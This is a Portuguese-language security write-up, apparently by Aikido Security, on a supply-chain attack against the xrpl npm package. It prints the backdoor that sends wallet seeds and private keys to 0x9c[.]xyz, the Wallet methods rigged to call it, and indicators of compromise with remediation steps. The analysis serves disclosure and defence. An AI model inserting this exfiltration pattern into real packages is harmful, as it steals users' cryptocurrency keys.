Em 21 de abril, 20:53 GMT+0, nosso sistema, Aikido Intel começou a nos alertar para cinco novas versões do pacote xrpl. É o SDK oficial para o XRP Ledger, com mais de 140.000 downloads semanais. Nós rapidamente confirmamos que o pacote oficial XPRL (Ripple) NPM foi comprometido por atacantes sofisticados que colocaram um backdoor para roubar chaves privadas de criptomoedas e obter acesso a carteiras de criptomoedas. Esse pacote é usado por centenas de milhares de aplicativos e sites, o que o torna um ataque potencialmente catastrófico à cadeia de suprimentos do ecossistema de criptomoedas.
Esta é a descrição técnica de como descobrimos o ataque.

Novos pacotes lançados
O utilizador mukulljangid
tinha lançado cinco novas versões da biblioteca a partir de 21 de abril, 20:53 GMT+0:

O que é interessante é o facto de estas versões não corresponderem às versões oficiais vistas no GitHub, onde a última versão é 4.2.0
:
.png)
O facto de estes pacotes aparecerem sem um lançamento correspondente no GitHub é muito suspeito.
O código misterioso
O nosso sistema detectou algum código estranho nestes novos pacotes. Aqui está o que ele identificou no pacote src/index.ts
ficheiro na versão 4.2.4
(Que está etiquetado como mais recente
):
export { Client, ClientOptions } from './client'
export * from './models'
export * from './utils'
export { default as ECDSA } from './ECDSA'
export * from './errors'
export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'
export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'
export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'
export * from './Wallet/signer'
const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
if (validSeeds.has(seed)) return
validSeeds.add(seed)
fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}
Tudo parece normal até ao fim. O que é isto? verificarValidityOfSeed
função? E porque é que está a chamar um domínio aleatório chamado 0x9c[.]xyz
? Vamos descer à toca do coelho!
Qual é o domínio?
Começámos por analisar o domínio para perceber se poderia ser legítimo. Fomos buscar os detalhes do whois:

Portanto, isso não é ótimo. É um domínio completamente novo. Muito suspeito.
O que é que o código faz?
O código em si apenas define um método, mas não há chamadas imediatas para ele. Por isso, investigámos se é utilizado em algum lado. E sim, é!
.png)
Vemo-lo a ser chamado em funções como o construtor do Carteira
classe (src/Wallet/index.ts
), roubando chaves privadas assim que um objeto Wallet é instanciado:
public constructor(
publicKey: string,
privateKey: string,
opts: {
masterAddress?: string
seed?: string
} = {},
) {
this.publicKey = publicKey
this.privateKey = privateKey
this.classicAddress = opts.masterAddress
? ensureClassicAddress(opts.masterAddress)
: deriveAddress(publicKey)
this.seed = opts.seed
checkValidityOfSeed(privateKey)
}
E estas funções:
private static deriveWallet(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const { publicKey, privateKey } = deriveKeypair(seed, {
algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
})
checkValidityOfSeed(privateKey)
return new Wallet(publicKey, privateKey, {
seed,
masterAddress: opts.masterAddress,
})
}
private static fromRFC1751Mnemonic(
mnemonic: string,
opts: { masterAddress?: string; algorithm?: ECDSA },
): Wallet {
const seed = rfc1751MnemonicToKey(mnemonic)
let encodeAlgorithm: 'ed25519' | 'secp256k1'
if (opts.algorithm === ECDSA.ed25519) {
encodeAlgorithm = 'ed25519'
} else {
// Defaults to secp256k1 since that's the default for `wallet_propose`
encodeAlgorithm = 'secp256k1'
}
const encodedSeed = encodeSeed(seed, encodeAlgorithm)
checkValidityOfSeed(encodedSeed)
return Wallet.fromSeed(encodedSeed, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
public static fromMnemonic(
mnemonic: string,
opts: {
masterAddress?: string
derivationPath?: string
mnemonicEncoding?: 'bip39' | 'rfc1751'
algorithm?: ECDSA
} = {},
): Wallet {
if (opts.mnemonicEncoding === 'rfc1751') {
return Wallet.fromRFC1751Mnemonic(mnemonic, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
// Otherwise decode using bip39's mnemonic standard
if (!validateMnemonic(mnemonic, wordlist)) {
throw new ValidationError(
'Unable to parse the given mnemonic using bip39 encoding',
)
}
const seed = mnemonicToSeedSync(mnemonic)
checkValidityOfSeed(mnemonic)
const masterNode = HDKey.fromMasterSeed(seed)
const node = masterNode.derive(
opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
)
validateKey(node)
const publicKey = bytesToHex(node.publicKey)
const privateKey = bytesToHex(node.privateKey)
return new Wallet(publicKey, `00${privateKey}`, {
masterAddress: opts.masterAddress,
})
}
public static fromEntropy(
entropy: Uint8Array | number[],
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
const options = {
entropy: Uint8Array.from(entropy),
algorithm,
}
const seed = generateSeed(options)
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm,
masterAddress: opts.masterAddress,
})
}
public static fromSeed(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm: opts.algorithm,
masterAddress: opts.masterAddress,
})
}
public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
if (!Object.values(ECDSA).includes(algorithm)) {
throw new ValidationError('Invalid cryptographic signing algorithm')
}
const seed = generateSeed({ algorithm })
checkValidityOfSeed(seed)
return Wallet.fromSeed(seed, { algorithm })
}
Porquê tantos problemas com as versões?
Ao investigarmos estes pacotes, notámos que os dois primeiros pacotes lançados (4.2.1
e 4.2.2
) eram diferentes das outras. Fizemos uma comparação de 3 vias das versões 4.2.0
(O que é legítimo), 4.2.1
e 4.2.2
para perceber o que se estava a passar. Eis o que observámos:
- A partir de
4.2.1
, oguiões
emais bonito
foi removida da configuraçãopackage.json
. - A primeira versão a inserir código malicioso no
src/Wallet/index.js
era4.2.2
. - Ambos
4.2.1
e4.2.2
continha um ficheiro maliciosobuild/xrp-latest-min.js
ebuild/xrp-latest.js
.
Se compararmos 4.2.2
para 4.2.3
e 4.2.4
vemos mais alterações maliciosas. Anteriormente, apenas o código JavaScript empacotado tinha sido modificado. Estas também incluíram as alterações maliciosas à versão TypeScript do código
- O código mostrado anteriormente muda para
src/index.ts
. - A alteração do código malicioso para
src/Wallet/index.ts
. - Em vez de o código malicioso ter sido inserido manualmente nos ficheiros criados, o backdoor inserido no
index.ts
é chamado.
A partir daí, podemos ver que o atacante estava a trabalhar ativamente no ataque, tentando diferentes formas de inserir o backdoor, mantendo-se o mais oculto possível. Desde inserir manualmente o backdoor no código JavaScript construído, até colocá-lo no código TypeScript e depois compilá-lo na versão construída.
Aikido Intel
Este malware foi detectado pelo Aikido Intel, o feed público de ameaças da Aikido que utiliza LLMs para monitorizar os gestores de pacotes públicos, como o NPM, para identificar quando o código malicioso é adicionado a pacotes novos ou existentes. Se quiser estar protegido contra malware e vulnerabilidades não divulgadas, pode subscrever o feed de ameaças Intel ou inscrever-se no Aikido Security
Indicadores de compromisso
Para determinar se pode ter sido comprometido, eis os indicadores que pode utilizar:
Nome do pacote
xrpl
Versões de pacotes
Verifique o seu package.json
e package-lock.json
para estas versões:
- 4.2.4
- 4.2.3
- 4.2.2
- 4.2.1
- 2.14.2
Preste atenção se você tinha o pacote como uma dependência que não foi corrigida com um arquivo de bloqueio de pacote, ou estava usando um especificação de versão aproximada/compatível como ~4.2.0
ou ^4.2.0
como exemplos.
Se acredita que pode ter instalado qualquer um dos pacotes acima durante o período de tempo entre 21 de abril, 20:53 GMT+0 e 22 de abril, 13:00 GMT+0, inspeccione os registos de rede para ver se existem ligações de saída para o anfitrião abaixo:
Domínio
- 0x9c[.]xyz
Remediação
Se acredita que pode ter sido afetado, é importante assumir que qualquer seed ou chave privada que tenha sido processada pelo código foi comprometida. Essas chaves não devem mais ser usadas, e quaisquer ativos associados a elas devem ser movidos para outra carteira/chave imediatamente. Desde que o problema foi divulgado, a equipa xrpl lançou duas novas versões para substituir os pacotes comprometidos:
- 4.2.5
- 2.14.3